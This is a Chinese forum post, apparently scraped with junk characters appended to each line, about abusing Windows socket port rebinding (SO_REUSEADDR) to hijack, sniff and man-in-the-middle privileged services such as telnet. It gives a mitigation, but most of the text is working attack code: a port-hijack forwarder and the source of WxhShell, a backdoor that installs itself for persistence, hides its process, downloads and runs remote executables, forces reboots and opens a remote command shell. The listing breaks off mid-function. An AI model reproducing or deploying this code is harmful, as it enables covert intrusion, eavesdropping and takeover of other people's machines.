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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Atd1qJ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dMJ!>l>2  
[t{](-  
  saddr.sin_family = AF_INET; .a,(pq Jg  
r{S=Z~J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6 Uw;C84!  
dQ<(lzS~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); E67XPvo1+@  
T`?n,'!(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y%g "Y  
_IxamWpX$  
  这意味着什么?意味着可以进行如下的攻击: '0RRFO  
IcFK,y%1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b66R}=P l  
)|RZa|`-G  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) y\#o2PVmY  
$6!i BX@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @Dj:4  
=/Wu'gG)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .E$q&7@/j  
.!yq@Q|=u  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +i=p5d5  
)~}PgbZ^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 SKR;wu  
g\&2s,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;& ~929  
E eB3 }  
  #include ;&kn"b}G;  
  #include m gVML&^  
  #include sJ~P:g  
  #include    M/#U2!iFk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h$Tr sO  
  int main() :B.G)M\  
  { zQc"bcif5(  
  WORD wVersionRequested; + |C=ZU  
  DWORD ret; Gw{+xz KJ  
  WSADATA wsaData; Cs4hgb|  
  BOOL val; yW("G-Nm  
  SOCKADDR_IN saddr; tS<h8g_  
  SOCKADDR_IN scaddr; A(+:S"|@  
  int err; E >}q2  
  SOCKET s; )6{P8k4Zr  
  SOCKET sc; JIxiklk  
  int caddsize; {|6z+vR  
  HANDLE mt; ?Y3@"rdR  
  DWORD tid;   s;1e0n  
  wVersionRequested = MAKEWORD( 2, 2 ); J3B.-XJ+n  
  err = WSAStartup( wVersionRequested, &wsaData ); |<(t}}X  
  if ( err != 0 ) { J8;Okzb!L  
  printf("error!WSAStartup failed!\n"); jczq `yW  
  return -1; 0 d4cE10  
  } Ae49n4J  
  saddr.sin_family = AF_INET; !ZrB^?sO  
   N9]xJgTze  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4j3oT)+8  
v!trsjb  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); T~J? AKx  
  saddr.sin_port = htons(23); u D(t`W"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }bMWTT  
  { Mr* |9h  
  printf("error!socket failed!\n"); TyOH`5 D  
  return -1; "HC)/)Mv@  
  } nwf7M#3d  
  val = TRUE; !8$RBD %  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 C).2gQ G  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (q~0XE/ a  
  { ?/d!R]3  
  printf("error!setsockopt failed!\n"); " H1:0p  
  return -1; =.b Y#4  
  } Q4wc-s4RN  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,%hj cGX11  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 HmV /> 9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K"l0w**Og#  
te'*<HM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I KcKRw/O$  
  { irMd jG  
  ret=GetLastError();  Oh`2tc-  
  printf("error!bind failed!\n"); R0<< f]  
  return -1; <xn;bp[  
  } }Bff,q  
  listen(s,2); .7Kk2Y  
  while(1) 1S%}xsR0  
  { 9#rt:&xo0  
  caddsize = sizeof(scaddr); HFS+QwHW  
  //接受连接请求 &qRJceT(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^\wl2  
  if(sc!=INVALID_SOCKET) @ls.&BHUP  
  { J_ J+cRwq  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); k/lFRi-i  
  if(mt==NULL) _/ Os^>R  
  { ~O4|KY  
  printf("Thread Creat Failed!\n"); &1Fply7(Ay  
  break; Y\?j0X;  
  } )+Y&4Qu  
  } nb+m.X  
  CloseHandle(mt); `="v>qN2\  
  } ^?"^Pmw  
  closesocket(s); (wA?;]q(  
  WSACleanup(); T:!MBWYe|  
  return 0; 7X'y>\^w^>  
  }   EOVZGZF  
  DWORD WINAPI ClientThread(LPVOID lpParam) zWIeHIt  
  { 9*}gl3y  
  SOCKET ss = (SOCKET)lpParam; `6Hf&u<  
  SOCKET sc; JBcY!dy-d  
  unsigned char buf[4096]; nNn56&N]  
  SOCKADDR_IN saddr; Oif,|:  
  long num; @@} `hii  
  DWORD val; $TG?4  
  DWORD ret; AcC8)xRpk4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {}\CL#~y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )=H{5&e#u  
  saddr.sin_family = AF_INET;  Q_4Zb  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R^8B3-aA`  
  saddr.sin_port = htons(23); /iC_!nu  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CLK^gZ  
  { $qm~c[x%  
  printf("error!socket failed!\n"); 6 = gp:I  
  return -1; DO^y;y>  
  } JO1 ,TtA  
  val = 100; (9GbG"   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W_<4WG  
  { Lq0 4T0  
  ret = GetLastError(); ^ d\SPZ  
  return -1; - L~Uu^o  
  } v0 ];W|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4lz{G*u  
  { E`)Qs[?Gk  
  ret = GetLastError(); {;k_!v{  
  return -1; )Au&kd-W@(  
  } f\}22}/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~:2K#q5C  
  { fIyPFqf7w)  
  printf("error!socket connect failed!\n"); pP\h6b+B  
  closesocket(sc); yGEb7I$h  
  closesocket(ss); +X^4; &  
  return -1; 2R`u[  
  } _A-V@%3  
  while(1) (=JueF@J  
  { "DjU:*'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 qG9qN.|dC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 r~oSP^e'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <]Y[XI(kr  
  num = recv(ss,buf,4096,0); oh\1>3,Ns  
  if(num>0) O5-;I,)H  
  send(sc,buf,num,0); e &3#2_  
  else if(num==0) @ER1zKK?  
  break; ~zyQ('  
  num = recv(sc,buf,4096,0); k/#>S*Ne  
  if(num>0) Gvn: c/m;  
  send(ss,buf,num,0); v@_in(dk  
  else if(num==0) Y/P]5: =h  
  break; M=%!IT  
  } !}q."%%J_%  
  closesocket(ss); 'v`_Ii|-  
  closesocket(sc); vlQ0gsXK  
  return 0 ; W)-hU~^OM  
  } Wz{%"o  
$L&BT 0  
W5/};K\.  
========================================================== MPvWCPB  
yW> RRE;  
下边附上一个代码,,WXhSHELL e\.HWV]I  
@?/\c:cp  
========================================================== a#QBy P  
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#include "stdafx.h" + *a7GttU  
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#include <stdio.h> DMMLzS0A  
#include <string.h> oD,C<[(p  
#include <windows.h> xBWx+My  
#include <winsock2.h> XnA6/^  
#include <winsvc.h> M=+M8M`Iy  
#include <urlmon.h> 3{pk5_c  
%uuH^A  
#pragma comment (lib, "Ws2_32.lib") z8tl0gd%D  
#pragma comment (lib, "urlmon.lib") [B,p,Q"  
P;c0L;/  
#define MAX_USER   100 // 最大客户端连接数 KpGUq0d@  
#define BUF_SOCK   200 // sock buffer *(nJX.7  
#define KEY_BUFF   255 // 输入 buffer gvo?([j-m  
\n(ROf^'  
#define REBOOT     0   // 重启 h0XH`v  
#define SHUTDOWN   1   // 关机 k_O-5{  
uk6g s)qxC  
#define DEF_PORT   5000 // 监听端口 H;wR  
[` 9^QEj  
#define REG_LEN     16   // 注册表键长度 2L[l'}  
#define SVC_LEN     80   // NT服务名长度 @<5Tba>SC  
\!4|tBKVY  
// 从dll定义API cIZ[[(Db  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Um'Ro4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :iEAUM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .FJ j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZM 8U]0[X  
yU!GS-  
// wxhshell配置信息 req-Q |  
struct WSCFG { lG 8dI\`  
  int ws_port;         // 监听端口 CPGL!:  
  char ws_passstr[REG_LEN]; // 口令 ki4Xp'IK  
  int ws_autoins;       // 安装标记, 1=yes 0=no g@(4ujOT  
  char ws_regname[REG_LEN]; // 注册表键名 Y2D >tpqNw  
  char ws_svcname[REG_LEN]; // 服务名 8? F 2jv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ETg{yBsp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b?>VPuyBb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]*GnmG:D*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <K,[sy&Qy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FR(QFt!g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sy=dY@W^  
S[ ^nSF  
}; F Nlx1U[  
F#KF6)P  
// default Wxhshell configuration aC}p^Nkr"k  
struct WSCFG wscfg={DEF_PORT, X7b!;%3@  
    "xuhuanlingzhe", }EP|Mb  
    1, %2,/jhHL  
    "Wxhshell", .=CH!{j  
    "Wxhshell", eN4t1 $  
            "WxhShell Service", Yq{jEatY{/  
    "Wrsky Windows CmdShell Service", IG&B2*  
    "Please Input Your Password: ", Z) t{JHm:  
  1, N-xnenci  
  "http://www.wrsky.com/wxhshell.exe", oo\IS\  
  "Wxhshell.exe" ~\3l!zIq  
    }; h*l cEzG?A  
w7r'SCVh3+  
// 消息定义模块 "5 y<G:$+~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~Z7)x7 z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8ZFH}v@V1'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @??u})^EL  
char *msg_ws_ext="\n\rExit."; i:{:xKiCa  
char *msg_ws_end="\n\rQuit."; my]P_mE  
char *msg_ws_boot="\n\rReboot..."; >r~|1kQ.  
char *msg_ws_poff="\n\rShutdown..."; HMhLTl{;  
char *msg_ws_down="\n\rSave to "; $.;iu2iyo  
|MVV +.X  
char *msg_ws_err="\n\rErr!"; JLml#Pu4  
char *msg_ws_ok="\n\rOK!"; $Q=$?>4U  
mcCB7<. e  
char ExeFile[MAX_PATH]; ML"_CQlE7  
int nUser = 0; fG3wc l~  
HANDLE handles[MAX_USER]; f^~2^p 1te  
int OsIsNt; (&k') ff9K  
Kjv2J;Xuh  
SERVICE_STATUS       serviceStatus; =1eV   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uht(3  
Z`|>tbOfZ  
// 函数声明 x4@MO|C  
int Install(void); z_'dRw  
int Uninstall(void); d4Ixuux<3  
int DownloadFile(char *sURL, SOCKET wsh); 2lF WW(  
int Boot(int flag); Q:kwQg:~  
void HideProc(void); BF>T*Z-Ki  
int GetOsVer(void); 87R%ke  
int Wxhshell(SOCKET wsl); Xad G\_?t`  
void TalkWithClient(void *cs); Sb^add0dT  
int CmdShell(SOCKET sock); .vN)A *  
int StartFromService(void); 6^WiZ^~  
int StartWxhshell(LPSTR lpCmdLine); Q=^ktKMeR  
cn@03&dAl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2-QuT"Gkd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bN]\K/  
d~w}NK[(  
// 数据结构和表定义 S_a :ML<  
SERVICE_TABLE_ENTRY DispatchTable[] = "0!~g/X`rK  
{ <yis  
{wscfg.ws_svcname, NTServiceMain}, `^?}s-H+  
{NULL, NULL} ,xm;JXJ  
}; zw}@nqp   
.i1jFwOd|G  
// 自我安装 qn5y D!1  
int Install(void) 5w]DncdQ~  
{ b5lk0jA  
  char svExeFile[MAX_PATH]; #(m `2Z`H  
  HKEY key; A9NOeE  
  strcpy(svExeFile,ExeFile); Tnzco  
v(i1Z}*b  
// 如果是win9x系统,修改注册表设为自启动 R>Z,TQU  
if(!OsIsNt) { r)) $XM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #|)JD@;Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?j &V:kF  
  RegCloseKey(key);  Oz"@yL}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )pkhir06t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W;xW: -  
  RegCloseKey(key); Ukk-(gjX  
  return 0; 0IoXDx  
    } 2+c>O%L  
  } o[5=S,'  
} ujI 3tsl  
else { Dme(Knly  
">0/>>Ry  
// 如果是NT以上系统,安装为系统服务 F{a0X0ru~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '6Pu[^x  
if (schSCManager!=0) r6gt9u:  
{ YyQf  
  SC_HANDLE schService = CreateService w>H%[\Qs  
  ( N7RG5?  
  schSCManager, pfJVE  
  wscfg.ws_svcname, 6xDl=*&%  
  wscfg.ws_svcdisp, T U"K#V&u  
  SERVICE_ALL_ACCESS, Zi[{\7a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y]~+`9  
  SERVICE_AUTO_START, ~pX(w!^  
  SERVICE_ERROR_NORMAL, 'O\d<F.c$2  
  svExeFile, "w:\@Jwu(  
  NULL, <3],C)Zwc  
  NULL, }`+^|1  
  NULL, } K+Q9<~u  
  NULL, :F KYYH\  
  NULL Q G=-LXv:@  
  ); .g(\B  
  if (schService!=0) Mc#O+'](f  
  { n]6}yJJo  
  CloseServiceHandle(schService); 6N)< o ;U  
  CloseServiceHandle(schSCManager); Nj3^"}V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y*5@|Q  
  strcat(svExeFile,wscfg.ws_svcname); M<M# < kD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T}b( M*E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O3<Y_I^  
  RegCloseKey(key); _x,-d|9b d  
  return 0; $Z(g=nS>  
    } \Z6gXO_  
  } gN!E*@7  
  CloseServiceHandle(schSCManager); "Dmw -  
} *$4A|EA V  
} 0T{c:m~QXe  
%1 VNP(E  
return 1; 5b{yA~ty  
} ]`/R("l[  
fn?6%q,!ls  
// 自我卸载 q. ,p6D  
int Uninstall(void) C9z~)aL}7  
{ YjIED,eRv  
  HKEY key; LBbo.KxAe3  
upEPv .h  
if(!OsIsNt) { H[_uVv;}6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fy(nu-W  
  RegDeleteValue(key,wscfg.ws_regname); \{+nXn  
  RegCloseKey(key); .1[2 CjQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2XecP'+m  
  RegDeleteValue(key,wscfg.ws_regname); 4MF}FS2)  
  RegCloseKey(key); MLv.v&@S  
  return 0; u=v%7c2Mx}  
  } asmW W8lz  
} x9o^9QJh  
} 8NF;k5   
else { !+|N<`  
4f*Ua`E_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ) R a/  
if (schSCManager!=0) 3Ld ;zW  
{ )zL"r8si  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); amk42  
  if (schService!=0) 8a$jO+UvN  
  { X-ki%jp3  
  if(DeleteService(schService)!=0) { Zh~Lm  
  CloseServiceHandle(schService); I}G}+0geV  
  CloseServiceHandle(schSCManager); Qdx`c^4m  
  return 0; @IyH(J],h  
  } Bg+]_:<U  
  CloseServiceHandle(schService); \,cKt_{ u  
  } Q3'B$,3O^  
  CloseServiceHandle(schSCManager); k.%W8C<Pa  
} o|*|  
} */Ry6Yu  
L};;o+5uJD  
return 1; fF-\TW  
} tU2to V  
J&U0y  
// 从指定url下载文件 T~~$=vP9  
int DownloadFile(char *sURL, SOCKET wsh) ':R3._tw\  
{ pv?17(w(\  
  HRESULT hr; uA/.4 b  
char seps[]= "/"; F6GZZKj  
char *token; +D-+}&oW  
char *file; ^(m6g&$(  
char myURL[MAX_PATH]; Gv+Tg/  
char myFILE[MAX_PATH]; ~G ^}2#5  
; # ?0#):-  
strcpy(myURL,sURL); =wR]X*Pan  
  token=strtok(myURL,seps); g(Xg%&@KZ  
  while(token!=NULL) IweK!,:>dN  
  { Md?bAMnG+}  
    file=token; )w 8lusa  
  token=strtok(NULL,seps); d|?(c~  
  } jUR #  
c+i`Zd.m<  
GetCurrentDirectory(MAX_PATH,myFILE); yjFQk,A  
strcat(myFILE, "\\"); [QqNsco)  
strcat(myFILE, file); tD0>(41K  
  send(wsh,myFILE,strlen(myFILE),0); ZO0]+Ko  
send(wsh,"...",3,0); @)'@LF1Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *u4X<oBS*  
  if(hr==S_OK) UoS;!}l  
return 0; N[bf.5T  
else }nY^T&?`  
return 1; (cA|N0  
P$ dgO  
} "PScM9)\  
q.b4m 'J  
// 系统电源模块 >h( rd1  
int Boot(int flag) @N_H]6z4  
{ Z#t)Z "  
  HANDLE hToken; )"Br,uIv:/  
  TOKEN_PRIVILEGES tkp; ,p`b Wm  
W#\};P  
  if(OsIsNt) { nK'8Mo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A-Pwi.$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @>nk^ l  
    tkp.PrivilegeCount = 1; z==}~|5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8lGgp&ey  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I_I;.Ik  
if(flag==REBOOT) { ts\>_/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &r5%WRzpYT  
  return 0; Z*aU2Kr`;  
} V//q$/&8(  
else {  mFoK76  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SVWSO  
  return 0; WJ4UJdf'  
} ?!j/wV_H  
  } Jd2Y)  
  else { YIUmCx0a  
if(flag==REBOOT) { ZV4' |q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -t'oW*kdL  
  return 0; PjZvLK@a9)  
} !,!tNs1 K  
else { il%tu<E#J~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PxD}j 2Kd  
  return 0; 6U9Fa=%>}  
} c!wB'~MS#  
} 7{F9b0zwk  
PlRs- %d  
return 1; = d.W'q|  
} k#NMD4(%O  
XXmu|h  
// win9x进程隐藏模块 _H<OfAO  
void HideProc(void) G6mM6(Sr  
{ ?o5#Ve$-X  
QO1Gq9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vm}.gQ  
  if ( hKernel != NULL ) (`/i1#nR  
  { M|=$~@9#X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :?6$}GcW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \J&#C(pn  
    FreeLibrary(hKernel); NfN6KDd]2L  
  } >Nl~"J|]q  
&n kGdHX/a  
return; h,?Yw+#o"  
} 0%j; yzQ<  
S9+gVR8]C  
// 获取操作系统版本 3"D00~  
int GetOsVer(void) e ;r-}U  
{ t1g%o5?;  
  OSVERSIONINFO winfo; #N}}8RL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t1s@Ub5);I  
  GetVersionEx(&winfo); {j*+:Gj0V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8^i,M^f^{  
  return 1; =H?5fT^  
  else v~QZO4[ '  
  return 0; 98nLj9  
} aJ;R8(*;\  
r T$g^  
// 客户端句柄模块 PP|xIAc  
int Wxhshell(SOCKET wsl) vu >@_hv  
{ !&%bl  
  SOCKET wsh; Ggjb86v\  
  struct sockaddr_in client; Kx!|4ya,  
  DWORD myID; g&5VorGx  
WT N!2b  
  while(nUser<MAX_USER) 74wa  
{ YP97D n  
  int nSize=sizeof(client); 3e1"5~?'<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nwH|Hs riU  
  if(wsh==INVALID_SOCKET) return 1; -8e tH&  
.AS,]*?Zn%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]2 N';(R  
if(handles[nUser]==0) 36UW oo  
  closesocket(wsh); Ut@)<N  
else 5OE?;PJ(  
  nUser++; ]TN}` ]  
  } BtZm_SeA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |9M y>8k(  
"$9ZkADO  
  return 0; N`fY%"5U>  
} t F( mD=[  
roQIP%h!  
// 关闭 socket )~kb 7rfl  
void CloseIt(SOCKET wsh) f}3bYF  
{ JOk`emle  
closesocket(wsh); B9\o:eY  
nUser--; :{<HiJdp  
ExitThread(0); ${3OQG  
} hG)lVo!L4j  
j+seJg<_  
// 客户端请求句柄 Sj+#yct-  
void TalkWithClient(void *cs) y0^FTSQ|  
{ ,B><la87  
Uy=eHwU?J  
  SOCKET wsh=(SOCKET)cs; {D8 IA3w  
  char pwd[SVC_LEN]; Zx0c6d!B  
  char cmd[KEY_BUFF]; :=@[FXD4  
char chr[1]; X)S4rW%  
int i,j; %yVZ|d*Q  
zwS'AN'A  
  while (nUser < MAX_USER) { 4B]a8  
"G:>}cs%?  
if(wscfg.ws_passstr) { !JA63  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); suwj1qYJ4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3 -FNd~%  
  //ZeroMemory(pwd,KEY_BUFF);  'M{_S  
      i=0; xPv&(XZR  
  while(i<SVC_LEN) { }, H,ky  
oR }  
  // 设置超时 wv$=0zF  
  fd_set FdRead; {3>^nMv@e  
  struct timeval TimeOut; ORTM [cL  
  FD_ZERO(&FdRead); t z{]H9  
  FD_SET(wsh,&FdRead); }e$);A|  
  TimeOut.tv_sec=8; ~ +Y;jA dU  
  TimeOut.tv_usec=0; O%I'   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =9M-N?cV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JC-L80-  
|^{ IHF\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _)Ms9RN  
  pwd=chr[0]; 01$SvL n:  
  if(chr[0]==0xd || chr[0]==0xa) { V/Tp&+Z.c  
  pwd=0; mAMKCxz,  
  break; ]iPdAwc.1  
  } &uM?DQ`o8  
  i++; Onl:eG;@  
    } nC w1H kW  
dNR4h  
  // 如果是非法用户,关闭 socket 1JM~Ls%Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _Z%C{~,7)x  
} Jad'8}0J  
g8C+j6uR0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f%af.cR*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x>Kem$z  
~b+>o  
while(1) { pD{Li\LY  
QwiC2}/  
  ZeroMemory(cmd,KEY_BUFF); 4-o$OI>  
~7*HZ:.  
      // 自动支持客户端 telnet标准   6 ^p 6v   
  j=0; NXV%j},>  
  while(j<KEY_BUFF) { </eh^<_~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Uc&0>_Z  
  cmd[j]=chr[0]; wL*z+>5  
  if(chr[0]==0xa || chr[0]==0xd) { UuN(+&oD-  
  cmd[j]=0; OS3J,f}<=  
  break; =I?p(MqW  
  } d;>:<{z@CD  
  j++; Yy&0b(m U  
    } Yd@9P 2C  
6D$xG"c  
  // 下载文件 E\ QSU88^  
  if(strstr(cmd,"http://")) { pDu~84!])  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); % R'eV<  
  if(DownloadFile(cmd,wsh)) a+Q)~13  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -V9Cx_]y  
  else ;m\E9ple  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z*JZ Ubo-Q  
  } ?)9 6YX'  
  else { ioZ2J"s  
-wY6da*.W  
    switch(cmd[0]) { ]^s4NXf+  
  L)Kn8  
  // 帮助 VRD2e ,K  
  case '?': { xa K:@/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h.DQ6!?;s  
    break; l9n 8v\8,o  
  } thS#fO4]d  
  // 安装 Y*4\K%e(  
  case 'i': { ;]p#PNQ0  
    if(Install()) E;%{hAD{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); py)V7*CgH  
    else :^l`m9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~,ac{%8x  
    break; 7^S&g.A  
    } !I:6L7HdwB  
  // 卸载 olh|.9Kdj}  
  case 'r': { 55hJRm3  
    if(Uninstall()) x *(pr5k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MYLq2g\  
    else !DLIIKO78  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W(EU*~<UC  
    break; G3KiU($V  
    } pS51fF9  
  // 显示 wxhshell 所在路径 8^+Q n/b_%  
  case 'p': { 7qu hp\  
    char svExeFile[MAX_PATH]; |rsu+0Mtz  
    strcpy(svExeFile,"\n\r"); ^m?h .  
      strcat(svExeFile,ExeFile); :  wb\N'b  
        send(wsh,svExeFile,strlen(svExeFile),0); aY6]NpT  
    break; )KkA<O}f  
    } nAg|m,gA  
  // 重启 Lk`0z  
  case 'b': { cLX~NPD/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i_I`Y  
    if(Boot(REBOOT)) N9_9{M{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XVE(p3-  
    else { }[? X%=  
    closesocket(wsh); Ws'3*HAce  
    ExitThread(0); ."cC^og  
    } t hTY('m  
    break; `2 Z  
    } e~jp< 4  
  // 关机 L7C!rS  
  case 'd': { "rBo?%:  
